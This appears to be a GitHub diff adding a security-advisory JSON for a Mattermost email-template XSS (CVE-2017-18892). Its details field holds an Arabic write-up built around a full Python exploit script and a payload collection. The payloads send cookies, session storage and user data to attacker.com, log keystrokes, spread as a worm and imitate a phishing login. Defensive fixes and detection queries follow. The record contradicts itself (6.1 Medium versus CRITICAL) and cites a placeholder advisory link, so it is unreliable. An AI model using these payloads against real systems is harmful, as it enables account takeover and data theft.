Skip to content
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
{
"schema_version": "1.4.0",
"id": "GHSA-wj5w-qghh-gvqp",
"modified": "2023-01-29T05:03:22Z",
"published": "2022-05-24T17:21:05Z",
"aliases": [
"CVE-2017-18892"
],
"summary": "⚔️ CVE-2017-18892: When templates betray security in Mattermost ",
"details": "# ⚔️ CVE-2017-18892: عندما تخون القوالب الأمان\n## 📧 XSS في قوالب البريد الإلكتروني - Mattermost تحت النار\n\n---\n\n## 📋 البطاقة التعريفية\n\n| المعرف | القيمة |\n|--------|---------|\n| **CVE ID** | CVE-2017-18892 |\n| **Product** | Mattermost Server |\n| **CWE** | CWE-79: Cross-site Scripting (XSS) |\n| **CVSS Score** | **6.1 Medium** |\n| **Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |\n| **الكشف الأولي** | 2017 |\n| **النشر العام** | 19 يونيو 2020 |\n| **آخر تحديث** | 29 يناير 2023 |\n| **التصنيف** | Stored XSS via Email Templates |\n\n---\n\n## 💀 جوهر الثغرة\n\n### 🎭 السيناريو الهجومي\n\n```\nMattermost Email Template\n ↓\n User Input (غير معقم)\n ↓\n HTML Email Generation\n ↓\n {{.UserName}} ← حقن مباشر!\n ↓\n <script>alert('XSS')</script>\n ↓\n 🔥 تنفيذ الكود في Email Client\n```\n\n---\n\n## 🔬 التحليل التقني العميق\n\n### 📉 الكود الضعيف\n\n**القالب الضعيف (Go Template):**\n```go\n// mattermost-server < 4.2.0\n// email_template.html\n\n<html>\n<body>\n <h1>مرحباً {{.UserName}}</h1> ← بدون تعقيم!\n <p>تم إرسال رسالة من {{.SenderName}}</p> ← خطر!\n <div>{{.MessageContent}}</div> ← يمكن حقن HTML!\n</body>\n</html>\n```\n\n**المشكلة:**\n```go\n// الكود الضعيف - بدون Escaping\ntemplate.Execute(writer, data)\n\n// data.UserName = \"<script>alert('XSS')</script>\"\n// النتيجة: يُنفذ السكريبت في البريد!\n```\n\n---\n\n### 🎯 سيناريو الاستغلال\n\n#### **المرحلة 1: إنشاء حساب خبيث**\n\n```javascript\n// المهاجم ينشئ حساب باسم خبيث\nPOST /api/v4/users\n{\n \"username\": \"<img src=x onerror=alert(document.cookie)>\",\n \"email\": \"[email protected]\",\n \"password\": \"pass123\"\n}\n```\n\n#### **المرحلة 2: إرسال رسالة**\n\n```javascript\n// إرسال رسالة لضحية\nPOST /api/v4/posts\n{\n \"channel_id\": \"victim_channel\",\n \"message\": \"Check this out!\",\n \"root_id\": null\n}\n```\n\n#### **المرحلة 3: البريد الإلكتروني المرسل**\n\n```html\n<!-- البريد الذي يستلمه الضحية -->\n<html>\n<body>\n <h1>مرحباً Victim</h1>\n <p>تم إرسال رسالة من \n <img src=x onerror=alert(document.cookie)> ← تنفيذ فوري!\n </p>\n <div>Check this out!</div>\n</body>\n</html>\n```\n\n#### **المرحلة 4: التنفيذ**\n\n```javascript\n// عند فتح البريد:\nonerror=alert(document.cookie) ← يُنفذ!\n\n// يمكن للمهاجم:\nfetch('https://attacker.com/steal?cookie=' + document.cookie);\n```\n\n---\n\n## 🧪 دليل إثبات المفهوم (PoC)\n\n### 🎪 PoC كامل\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2017-18892 - Mattermost XSS via Email Template\nExploit for educational purposes only\n\"\"\"\n\nimport requests\nimport json\n\nclass MattermostXSS:\n def __init__(self, target_url):\n self.target = target_url\n self.session = requests.Session()\n self.token = None\n \n def create_malicious_user(self):\n \"\"\"إنشاء مستخدم باسم يحتوي على XSS\"\"\"\n \n # الـ Payload\n xss_payload = '<img src=x onerror=\"fetch(\\'https://attacker.com/steal?c=\\'+document.cookie)\">'\n \n # إنشاء المستخدم\n user_data = {\n \"username\": xss_payload,\n \"email\": \"[email protected]\",\n \"password\": \"MaliciousPass123!\",\n \"first_name\": xss_payload,\n \"last_name\": \"Evil\"\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/users\",\n json=user_data\n )\n \n if response.status_code == 201:\n print(\"[+] مستخدم خبيث تم إنشاؤه\")\n return response.json()\n else:\n print(f\"[-] فشل: {response.text}\")\n return None\n \n def login(self, email, password):\n \"\"\"تسجيل الدخول\"\"\"\n login_data = {\n \"login_id\": email,\n \"password\": password\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/users/login\",\n json=login_data\n )\n \n if response.status_code == 200:\n self.token = response.headers.get('Token')\n self.session.headers.update({'Authorization': f'Bearer {self.token}'})\n print(\"[+] تم تسجيل الدخول\")\n return True\n \n return False\n \n def send_message(self, channel_id, message):\n \"\"\"إرسال رسالة (تُرسل إشعار بريد إلكتروني)\"\"\"\n post_data = {\n \"channel_id\": channel_id,\n \"message\": message\n }\n \n response = self.session.post(\n f\"{self.target}/api/v4/posts\",\n json=post_data\n )\n \n if response.status_code == 201:\n print(\"[+] تم إرسال الرسالة - سيُرسل بريد XSS للأعضاء!\")\n return True\n \n return False\n \n def exploit(self, target_channel):\n \"\"\"تنفيذ الاستغلال الكامل\"\"\"\n print(\"[*] بدء استغلال CVE-2017-18892\")\n print(f\"[*] الهدف: {self.target}\")\n \n # 1. إنشاء مستخدم خبيث\n user = self.create_malicious_user()\n if not user:\n return False\n \n # 2. تسجيل الدخول\n if not self.login(\"[email protected]\", \"MaliciousPass123!\"):\n return False\n \n # 3. إرسال رسالة (تُرسل بريد)\n if self.send_message(target_channel, \"مرحباً! تحقق من هذا\"):\n print(\"[+] نجح الاستغلال!\")\n print(\"[*] عند فتح البريد، سيُنفذ الكود الخبيث\")\n return True\n \n return False\n\n# الاستخدام\nif __name__ == \"__main__\":\n exploit = MattermostXSS(\"https://mattermost.target.com\")\n exploit.exploit(\"channel_id_here\")\n```\n\n---\n\n### 🎯 Payloads متقدمة\n\n```javascript\n// 1. سرقة Cookies\n<img src=x onerror=\"new Image().src='https://attacker.com/log?c='+document.cookie\">\n\n// 2. سرقة Session Tokens\n<script>\nfetch('https://attacker.com/steal', {\n method: 'POST',\n body: JSON.stringify({\n cookie: document.cookie,\n localStorage: localStorage,\n sessionStorage: sessionStorage\n })\n});\n</script>\n\n// 3. Keylogger في Email Client\n<img src=x onerror=\"\n document.addEventListener('keypress', function(e) {\n fetch('https://attacker.com/keys?k=' + e.key);\n });\n\">\n\n// 4. Phishing Redirect\n<img src=x onerror=\"\n setTimeout(function() {\n window.location='https://fake-mattermost-login.com';\n }, 3000);\n\">\n\n// 5. استخراج البيانات الحساسة\n<img src=x onerror=\"\n fetch('/api/v4/users/me').then(r=>r.json()).then(d=>\n fetch('https://attacker.com/user', {\n method: 'POST',\n body: JSON.stringify(d)\n })\n );\n\">\n```\n\n---\n\n## 🎯 سيناريوهات الاستغلال الواقعية\n\n### 🎪 السيناريو 1: سرقة بيانات المديرين\n\n```javascript\n// 1. المهاجم ينشئ حساب باسم:\nusername: \"<script src='https://evil.com/admin-stealer.js'></script>\"\n\n// 2. admin-stealer.js:\n(async function() {\n // سرقة معلومات Admin\n const adminData = await fetch('/api/v4/users/me').then(r => r.json());\n \n // سرقة القنوات\n const channels = await fetch('/api/v4/channels').then(r => r.json());\n \n // سرقة الفرق\n const teams = await fetch('/api/v4/teams').then(r => r.json());\n \n // إرسال كل شيء\n fetch('https://attacker.com/admin-data', {\n method: 'POST',\n body: JSON.stringify({ adminData, channels, teams })\n });\n})();\n\n// النتيجة: سيطرة كاملة على بيانات Admin\n```\n\n---\n\n### 🎪 السيناريو 2: Worm عبر البريد\n\n```javascript\n// XSS Worm - ينتشر تلقائياً\n<img src=x onerror=\"\n // 1. يسرق التوكن الحالي\n const token = localStorage.getItem('token');\n \n // 2. يجلب قائمة المستخدمين\n fetch('/api/v4/users', {\n headers: { 'Authorization': 'Bearer ' + token }\n })\n .then(r => r.json())\n .then(users => {\n // 3. يرسل رسالة لكل مستخدم\n users.forEach(user => {\n fetch('/api/v4/posts/create_direct', {\n method: 'POST',\n headers: { 'Authorization': 'Bearer ' + token },\n body: JSON.stringify({\n user_id: user.id,\n message: 'Check this: <img src=x onerror=...>' // نفس الكود\n })\n });\n });\n });\n\">\n```\n\n---\n\n### 🎪 السيناريو 3: التصيد المستهدف (Spear Phishing)\n\n```html\n<!-- بريد يبدو شرعياً تماماً -->\n<html>\n<head>\n <style>\n /* تصميم مشابه لـ Mattermost */\n body { font-family: Arial; background: #f5f5f5; }\n .container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; }\n .btn { background: #0073e6; color: white; padding: 10px 20px; text-decoration: none; }\n </style>\n</head>\n<body>\n <div class=\"container\">\n <h2>🔒 تنبيه أمني من Mattermost</h2>\n <p>تم اكتشاف محاولة تسجيل دخول مشبوهة لحسابك</p>\n <p>انقر أدناه للتحقق من هويتك:</p>\n <a href=\"#\" class=\"btn\" onclick=\"stealCredentials()\">التحقق الآن</a>\n </div>\n \n <script>\n function stealCredentials() {\n // إعادة توجيه لصفحة تصيد\n window.location = 'https://fake-mattermost.com/login?next=' + \n encodeURIComponent(window.location.href);\n }\n </script>\n</body>\n</html>\n```\n\n---\n\n## 🛡️ الإصلاح والحماية\n\n### ✅ الحل الرسمي (v4.2.0+)\n\n```go\n// mattermost-server >= 4.2.0\n// استخدام html/template بدلاً من text/template\n\nimport (\n \"html/template\" // ← التعقيم التلقائي\n)\n\n// القالب الآمن\ntmpl := template.Must(template.New(\"email\").Parse(`\n<html>\n<body>\n <h1>مرحباً {{.UserName}}</h1> ← يُعقم تلقائياً\n <p>من {{.SenderName}}</p>\n <div>{{.MessageContent}}</div>\n</body>\n</html>\n`))\n\n// التنفيذ الآمن\ntmpl.Execute(writer, data)\n\n// إذا كان data.UserName = \"<script>alert(1)</script>\"\n// النتيجة: &lt;script&gt;alert(1)&lt;/script&gt; ← آمن!\n```\n\n---\n\n### 🔒 خطوات الحماية الفورية\n\n#### **1. التحديث الفوري**\n\n```bash\n# فحص الإصدار الحالي\ncurl -s http://mattermost-server/api/v4/system/ping | jq\n\n# إذا كان < 4.2.0، حدّث فوراً:\nwget https://releases.mattermost.com/4.2.0/mattermost-4.2.0-linux-amd64.tar.gz\ntar -xzf mattermost-4.2.0-linux-amd64.tar.gz\nsystemctl stop mattermost\ncp -r mattermost /opt/\nsystemctl start mattermost\n```\n\n#### **2. CSP Headers في Email**\n\n```go\n// إضافة Content Security Policy\nemailHeaders := map[string]string{\n \"Content-Type\": \"text/html; charset=UTF-8\",\n \"Content-Security-Policy\": \"default-src 'none'; img-src https:; style-src 'unsafe-inline'\",\n}\n```\n\n#### **3. تعقيم إضافي**\n\n```go\nimport (\n \"html\"\n \"github.com/microcosm-cc/bluemonday\"\n)\n\n// استخدام bluemonday للتعقيم الشامل\nfunc SanitizeForEmail(input string) string {\n p := bluemonday.StrictPolicy()\n return p.Sanitize(input)\n}\n\n// في القالب\ndata := EmailData{\n UserName: SanitizeForEmail(user.Username),\n Message: SanitizeForEmail(message.Content),\n}\n```\n\n#### **4. مراجعة القوالب المخصصة**\n\n```bash\n# ابحث عن القوالب المخصصة\nfind /opt/mattermost -name \"*.html\" -o -name \"*.tmpl\"\n\n# راجع كل قالب للتأكد من استخدام {{.Variable}} بدون |safe\ngrep -r \"{{.*}}\" /opt/mattermost/templates/\n\n# تحذير: لا تستخدم أبداً\n{{ .UserInput | safe }} ← خطر!\n{{ .Content | noescape }} ← خطر!\n```\n\n---\n\n## 🔍 الكشف عن الاستغلال\n\n### 🕵️ علامات الاختراق\n\n```bash\n# 1. فحص قاعدة البيانات للأسماء المشبوهة\npsql -U mmuser -d mattermost -c \"\n SELECT username, email, create_at \n FROM Users \n WHERE username LIKE '%<script%' \n OR username LIKE '%onerror%'\n OR username LIKE '%javascript:%';\n\"\n\n# 2. فحص سجلات البريد\ngrep -E \"(<script|onerror|javascript:)\" /var/log/mail.log\n\n# 3. مراجعة الرسائل المرسلة\npsql -U mmuser -d mattermost -c \"\n SELECT message, create_at, user_id \n FROM Posts \n WHERE message LIKE '%<script%' \n OR message LIKE '%onerror%';\n\"\n\n# 4. فحص Session Tokens غير الطبيعية\npsql -U mmuser -d mattermost -c \"\n SELECT token, user_id, create_at \n FROM Sessions \n WHERE create_at > NOW() - INTERVAL '24 hours'\n ORDER BY create_at DESC;\n\"\n```\n\n### 📊 مؤشرات الاختراق (IOCs)\n\n```yaml\nأسماء المستخدمين المشبوهة:\n - يحتوي على: <script>, onerror, javascript:\n - أمثلة:\n - \"<img src=x onerror=alert(1)>\"\n - \"<script>fetch('evil.com')</script>\"\n - \"javascript:alert(document.cookie)\"\n\nالرسائل الخبيثة:\n - HTML tags في محتوى الرسالة\n - Base64 encoded scripts\n - External script sources\n\nالنشاط الشبكي:\n - طلبات لـ domains غير معروفة من Email Clients\n - POST requests لـ /api/v4/posts بمعدل عالي\n - Session tokens مسروقة تُستخدم من IPs مختلفة\n\nسلوك المستخدم:\n - إنشاء حسابات بأسماء عشوائية/طويلة\n - إرسال رسائل لقنوات عديدة فوراً\n - تغيير بيانات Profile بشكل متكرر\n```\n\n---\n\n## 🔬 الفحص الأمني الشامل\n\n```bash\n#!/bin/bash\n# مراجعة أمنية شاملة لـ Mattermost\n\necho \"🔍 فحص أمان Mattermost\"\necho \"========================\"\n\n# 1. فحص الإصدار\nVERSION=$(curl -s http://localhost:8065/api/v4/system/ping | jq -r '.version')\necho \"الإصدار: $VERSION\"\n\nif [[ \"$VERSION\" < \"4.2.0\" ]]; then\n echo \"⚠️ خطر! الإصدار ضعيف لـ CVE-2017-18892\"\nfi\n\n# 2. فحص المستخدمين المشبوهين\necho \"\"\necho \"👥 فحص المستخدمين:\"\npsql -U mmuser -d mattermost -t -c \"\n SELECT COUNT(*) \n FROM Users \n WHERE username ~ '(<|>|script|onerror)'\n\" | xargs echo \"مستخدمين مشبوهين:\"\n\n# 3. فحص القوالب\necho \"\"\necho \"📧 فحص قوالب البريد:\"\nif grep -r \"text/template\" /opt/mattermost/; then\n echo \"⚠️ وُجدت قوالب غير آمنة!\"\nelse\n echo \"✅ القوالب آمنة\"\nfi\n\n# 4. فحص CSP\necho \"\"\necho \"🔒 فحص Content Security Policy:\"\nif grep -r \"Content-Security-Policy\" /opt/mattermost/config/; then\n echo \"✅ CSP مفعّل\"\nelse\n echo \"⚠️ CSP غير مفعّل\"\nfi\n\necho \"\"\necho \"========================\"\necho \"✅ انتهى الفحص\"\n```\n\n---\n\n## 📡 المراجع التقنية\n\n```\n1. CVE Entry:\n https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18892\n\n2. NVD Details:\n https://nvd.nist.gov/vuln/detail/CVE-2017-18892\n\n3. Mattermost Security:\n https://mattermost.com/security-updates/\n\n4. GitHub Advisory:\n https://github.com/advisories/GHSA-xxxx-xxxx-xxxx\n\n5. OWASP XSS:\n https://owasp.org/www-community/attacks/xss/\n\n6. CWE-79:\n https://cwe.mitre.org/data/definitions/79.html\n```\n\n---\n\n## 🎓 الدروس المستفادة\n\n### ⚠️ القواعد الذهبية:\n\n> **\"لا تثق بأي مُدخَل - حتى لو كان اسم مستخدم\"**\n\n### ✅ Best Practices\n\n#### 1. **استخدم html/template دائماً**\n```go\n// ✅ آمن - تعقيم تلقائي\nimport \"html/template\"\n\n// ❌ خطر - بدون تعقيم\nimport \"text/template\"\n```\n\n#### 2. **طبقات الحماية**\n```\nInput → Validation → Sanitization → Escaping → Output\n```\n\n#### 3. **CSP في كل مكان**\n```html\n<meta http-equiv=\"Content-Security-Policy\" \n content=\"default-src 'none'; script-src 'self'\">\n```\n\n#### 4. **لا تثق بـ \"Safe\" Flags**\n```go\n// ❌ خطير جداً\n{{ .UserInput | safe }}\n\n// ✅ آمن\n{{ .UserInput }} // auto-escaped\n```\n\n---\n\n## 🎖️ ختام المحارب\n\n> **\"القالب ليس مجرد تصميم - إنه خط الدفاع الأول\"**\n> \n> CVE-2017-18892 يُذكرنا أن **الأمان يبدأ من أصغر التفاصيل**.\n> \n> حتى اسم المستخدم يمكن أن يكون **سلاحاً فتاكاً** إذا لم نُحصّنه.\n\n---\n\n## ⚔️ توقيع السيادة\n\n```\n╔═══════════════════════════════════════╗\n║ ZAYED SECURITY RESEARCH TEAM ║\n║ \"Trust No Input, Sanitize All\" ║\n║ ║\n║ CVE-2017-18892 ║\n║ Severity: MEDIUM (6.1) ║\n║ Status: PATCHED ✓ ║\n╚═══════════════════════════════════════╝\n```\n\n---\n\n**#XSS** | **#EmailSecurity** | **#Mattermost** | **#TemplateInjection**",
"severity": [],
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
]
}
]
}
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18892"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"severity": "CRITICAL",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-19T19:15:00Z"
}
}
Loading